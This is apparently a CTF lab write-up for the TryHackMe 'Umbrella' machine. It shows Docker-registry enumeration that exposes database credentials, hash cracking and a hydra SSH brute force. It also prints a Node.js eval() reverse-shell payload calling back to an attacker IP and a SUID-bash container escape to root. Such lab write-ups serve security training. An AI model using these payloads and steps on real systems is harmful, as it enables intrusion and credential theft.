Post

Umbrella

Posted Updated
Windows Medium Level Machine 🗗
Windows Medium Level Machine 🗗
By Shivendra Prajapati 9 min read

Port Scan Results ⤵️

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/umbrella]
└─$ sudo nmap -sC -sV -p- -T4 -oN Nmap_Result.txt 10.10.161.195 -Pn
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-29 20:23 IST
Nmap scan report for 10.10.161.195
Host is up (0.16s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f0:14:2f:d6:f6:76:8c:58:9a:8e:84:6a:b1:fb:b9:9f (RSA)
|   256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
|_  256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
3306/tcp filtered mysql
5000/tcp open     http       Docker Registry (API: 2.0)
|_http-title: Site does not have a title.
8080/tcp filtered http-proxy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration ⤵️

On loading port 8080 I get this login page : Image After seeing port scan I got one port , port 5000 that is running Docker Registry Service so I recon about this and I stumbled across this page HackTricks and got some enumeration steps like through curl Tool.

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#List repositories

curl -s http://<IP>:5000/v2/_catalog

#Try for getting tags of a repository, For Example :

curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list

{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Lets also try to set manifests , For Example :

curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest

...
...

Now with this machine IP lets access those :>

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Umbrella]
└─$ curl -s http://10.10.248.13:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}

I also got something through manifests/latest output :

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Umbrella]
└─$ curl -s http://10.10.248.13:5000/v2/umbrella/timetracking/manifests/latest
{
   "schemaVersion": 1,
   "name": "umbrella/timetracking",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
...
...
"history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\"NODE_VERSION=19.3.0\",\"YARN_VERSION=1.22.19\",\"DB_HOST=db\",\"DB_USER=root\",\"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5\",\"DB_DATABASE=timetracking\",\"LOG_FILE=/logs/tt.log\"],\"Cmd\":[\"node\",\"app.js\"],\"Image\":\"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1\",\"Volumes\":null,\"WorkingDir\":\"/usr/src/app\",\"Entrypoint\":[\"docker-entrypoint.sh\"],\"OnBuild\":null,\"Labels\":null},\"container\":\"527e55a70a337461e3615c779b0ad035e0860201e4745821c5f3bc4dcd7e6ef9\",\"container_config\":{\"Hostname\":\"527e55a70a33\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\"NODE_VERSION=19.3.0\",\"YARN_VERSION=1.22.19\",\"DB_HOST=db\",\"DB_USER=root\",\"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5\",\"DB_DATABASE=timetracking\",\"LOG_FILE=/logs/tt.log\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"node\\\" \\\"app.js\\\"]\"],\"Image\":\"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1\",\"Volumes\":null,\"WorkingDir\":\"/usr/src/app\",\"Entrypoint\":[\"docker-entrypoint.sh\"],\"OnBuild\":null,\"Labels\":{}},\"created\":\"2022-12-22T10:03:08.042002316Z\",\"docker_version\":\"20.10.17\",\"id\":\"7aec279d6e756678a51a8f075db1f0a053546364bcf5455f482870cef3b924b4\",\"os\":\"linux\",\"parent\":\"47c36cf308f072d4b86c63dbd2933d1a49bf7adb87b0e43579d9c7f5e6830ab8\",\"throwaway\":true}"
...
...

From Above output data I got this data ->

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"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
"NODE_VERSION=19.3.0"
"YARN_VERSION=1.22.19"
"DB_HOST=db"
"DB_USER=root"
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5"
"DB_DATABASE=timetracking"
"LOG_FILE=/logs/tt.log"]

Lets login into mysql server : Image Lets access timetracking database.

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
4 rows in set (1.869 sec)

Image I got the password cracked so lets use those and see do I have a shell or not .

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Umbrella]
└─$ hydra -L users.txt -P pass.txt ssh://10.10.248.13 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-03 14:02:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking ssh://10.10.248.13:22/
[22][ssh] host: 10.10.248.13   login: claire-r   password: Password1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-03 14:02:44

I got the result through hydra Tool. Lets have a Shell ->

SSH Shell ⤵️

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──(kali🔥kali)-[~/Downloads/Tryhackme/Umbrella]
└─$ ssh claire-r@10.10.146.217
The authenticity of host '10.10.146.217 (10.10.146.217)' ca t be established.
ED25519 key fingerprint is SHA256:4O8itcDPWBL0nD2ELrDFEMiWY9Pn8UuEdRRP7L8pxr8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
    ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.146.217' (ED25519) to the list of known hosts.
claire-r@10.10.146.217 is password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

20 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

claire-r@ctf:~$
claire-r@ctf:~$ whoami
claire-r
claire-r@ctf:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)
claire-r@ctf:~$ ls -al
total 36
drwxr-xr-x 4 claire-r claire-r 4096 Feb  3 17:20 .
drwxr-xr-x 4 root     root     4096 Dec 22  2022 ..
-rw------- 1 claire-r claire-r   61 Sep 22 18:26 .bash_history
-rw-r--r-- 1 claire-r claire-r  220 Dec 22  2022 .bash_logout
-rw-r--r-- 1 claire-r claire-r 3771 Dec 22  2022 .bashrc
drwx------ 2 claire-r claire-r 4096 Feb  3 17:20 .cache
-rw-r--r-- 1 claire-r claire-r  807 Dec 22  2022 .profile
drwxrwxr-x 6 claire-r claire-r 4096 Dec 22  2022 timeTracker-src
-rw-r--r-- 1 claire-r claire-r   38 Dec 22  2022 user.txt
claire-r@ctf:~$

I got the a function vulnerable in app.js file that is eval -> eval Eval function can be exploited here Here eval() function can execute any command before parseInt() function execution.

I recon related to Node.js eval reverse shell and I got this payload :

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(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(4444, "10.17.1.0", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})()

Lets use it through web login in time parameter -> Image

here the time is added into the claire-r slot so I have to input the payload in time parameter like this and start the listener at port 4444. Image

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┌──(kali🔥kali)-[~/Downloads/Tryhackme/Umbrella]
└─$ rlwrap nc -lvnp 4444                   
listening on [any] 4444 ...
connect to [10.17.1.0] from (UNKNOWN) [10.10.146.217] 58766
SHELL=/bin/bash script -q /dev/null
root@de0610f51845:/usr/src/app# whoami
whoami
root
root@de0610f51845:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@de0610f51845:/usr/src/app# ls -al
ls -al
total 92
drwxr-xr-x  1 root root  4096 Dec 22  2022 .
drwxr-xr-x  1 root root  4096 Dec 22  2022 ..
-rw-rw-r--  1 root root  3237 Dec 22  2022 app.js
drwxr-xr-x 87 root root  4096 Dec 22  2022 node_modules
-rw-rw-r--  1 root root 63965 Dec 22  2022 package-lock.json
-rw-rw-r--  1 root root   385 Dec 22  2022 package.json
drwxr-xr-x  3 root root  4096 Dec 22  2022 public
drwxr-xr-x  2 root root  4096 Dec 22  2022 views
root@de0610f51845:/usr/src/app# cd ../
cd ../
root@de0610f51845:/usr/src# ls -al
ls -al
total 12
drwxr-xr-x 1 root root 4096 Dec 22  2022 .
drwxr-xr-x 1 root root 4096 Dec 19  2022 ..
drwxr-xr-x 1 root root 4096 Dec 22  2022 app
root@de0610f51845:/usr/src# cd /
cd /
root@de0610f51845:/# ls -al
ls -al
total 76
drwxr-xr-x   1 root root 4096 Dec 22  2022 .
drwxr-xr-x   1 root root 4096 Dec 22  2022 ..
-rwxr-xr-x   1 root root    0 Dec 22  2022 .dockerenv
drwxr-xr-x   2 root root 4096 Dec 19  2022 bin
drwxr-xr-x   2 root root 4096 Dec  9  2022 boot
drwxr-xr-x   5 root root  340 Feb  3 17:20 dev
drwxr-xr-x   1 root root 4096 Dec 22  2022 etc
drwxr-xr-x   1 root root 4096 Dec 21  2022 home
drwxr-xr-x   1 root root 4096 Dec 19  2022 lib
drwxr-xr-x   2 root root 4096 Dec 19  2022 lib64
drwxrw-rw-   2 1001 1001 4096 Dec 22  2022 logs
drwxr-xr-x   2 root root 4096 Dec 19  2022 media
drwxr-xr-x   2 root root 4096 Dec 19  2022 mnt
drwxr-xr-x   1 root root 4096 Dec 21  2022 opt
dr-xr-xr-x 180 root root    0 Feb  3 17:20 proc
drwx------   1 root root 4096 Dec 21  2022 root
drwxr-xr-x   3 root root 4096 Dec 19  2022 run
drwxr-xr-x   2 root root 4096 Dec 19  2022 sbin
drwxr-xr-x   2 root root 4096 Dec 19  2022 srv
dr-xr-xr-x  13 root root    0 Feb  3 17:20 sys
drwxrwxrwt   1 root root 4096 Dec 21  2022 tmp
drwxr-xr-x   1 root root 4096 Dec 19  2022 usr
drwxr-xr-x   1 root root 4096 Dec 19  2022 var
root@de0610f51845:/# cd logs
cd logs
root@de0610f51845:/logs# ls -al
ls -al
total 12
drwxrw-rw- 2 1001 1001 4096 Dec 22  2022 .
drwxr-xr-x 1 root root 4096 Dec 22  2022 ..
-rw-r--r-- 1 root root   97 Feb  3 17:22 tt.log
root@de0610f51845:/logs# cp /bin/bash smash
cp /bin/bash smash
root@de0610f51845:/logs# chmod u+s smash
chmod u+s smash
root@de0610f51845:/logs# ls -al
ls -al
total 1220
drwxrw-rw- 2 1001 1001    4096 Feb  3 17:24 .
drwxr-xr-x 1 root root    4096 Dec 22  2022 ..
-rwsr-xr-x 1 root root 1234376 Feb  3 17:24 smash
-rw-r--r-- 1 root root      97 Feb  3 17:22 tt.log
root@de0610f51845:/logs#

Here I copied the bash and put it into the logs folder and given the permissions for set user ID as (SUIDs) and then I accessed this bash made smash through claire-r machine and used that to get effective user ID (eUID) as root and I got it ->

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claire-r@ctf:~/timeTracker-src$ cd logs
claire-r@ctf:~/timeTracker-src/logs$ ls -al
total 1220
drwxrw-rw- 2 claire-r claire-r    4096 Feb  3 17:24 .
drwxrwxr-x 6 claire-r claire-r    4096 Dec 22  2022 ..
-rwsr-xr-x 1 root     root     1234376 Feb  3 17:24 smash
-rw-r--r-- 1 root     root          97 Feb  3 17:22 tt.log
claire-r@ctf:~/timeTracker-src/logs$ ./smash -p
smash-5.1# whoami
root
smash-5.1# id
uid=1001(claire-r) gid=1001(claire-r) euid=0(root) groups=1001(claire-r)
smash-5.1# cd /root
smash-5.1# ls -al
total 40
drwx------  5 root root 4096 Sep 22 18:32 .
drwxr-xr-x 19 root root 4096 Dec 20  2022 ..
lrwxrwxrwx  1 root root    9 Sep 22 18:32 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  3 root root 4096 Dec 22  2022 .gnupg
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   38 Dec 22  2022 root.txt
drwx------  4 root root 4096 Dec 20  2022 snap
drwx------  2 root root 4096 Dec 20  2022 .ssh
-rw-------  1 root root 1106 Dec 22  2022 .viminfo
-rw-r--r--  1 root root  165 Dec 22  2022 .wget-hsts
smash-5.1# cat root.txt
THM{FLAG_FLAG_FLAG_FLAG_FLAG}
smash-5.1#

I am root now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

TryHackMe
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This post is licensed under CC BY 4.0 by the author.